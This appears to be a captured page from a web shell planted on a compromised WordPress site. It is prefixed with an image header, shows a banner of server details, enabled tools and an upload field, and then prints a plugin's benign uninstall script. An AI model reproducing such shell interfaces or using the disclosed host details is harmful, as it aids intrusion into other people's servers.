????JFIF??x?x????'
Server IP : 104.21.112.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/pontiacques.org/wp-content/plugins/easy-media-gallery/ |
Upload File : |
<?php if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) exit(); function easy_gt_option( $name ){ $easymedia_values = get_option( 'easy_media_opt' ); if ( is_array( $easymedia_values ) && array_key_exists( $name, $easymedia_values ) ) return $easymedia_values[$name]; return false; } // Remove plugin options from wordpress database. function spg_clean_data() { if ( easy_gt_option('easymedia_disen_databk') != '1' ) { delete_option( 'easy_media_opt' ); // Remove plugin-specific custom post type entries. $posts = get_posts( array( 'numberposts' => -1, 'post_type' => 'easymediagallery', 'post_status' => 'any' ) ); foreach ( $posts as $post ) { wp_delete_post( $post->ID, true ); } // Remove plugin-specific custom taxonomies and terms ( not work ). $tax = 'emediagallery' ; if( is_taxonomy( $tax ) ) { foreach ( $tax as $taxonomy ) { $terms = get_terms( $taxonomy, array( 'get ' => 'all' ) ); foreach ( $terms as $term ) { wp_delete_term( $term->term_id, $taxonomy );} unset( $wp_taxonomies[$taxonomy] ); } } delete_option( 'easy_media_opt' ); } } spg_clean_data(); ?>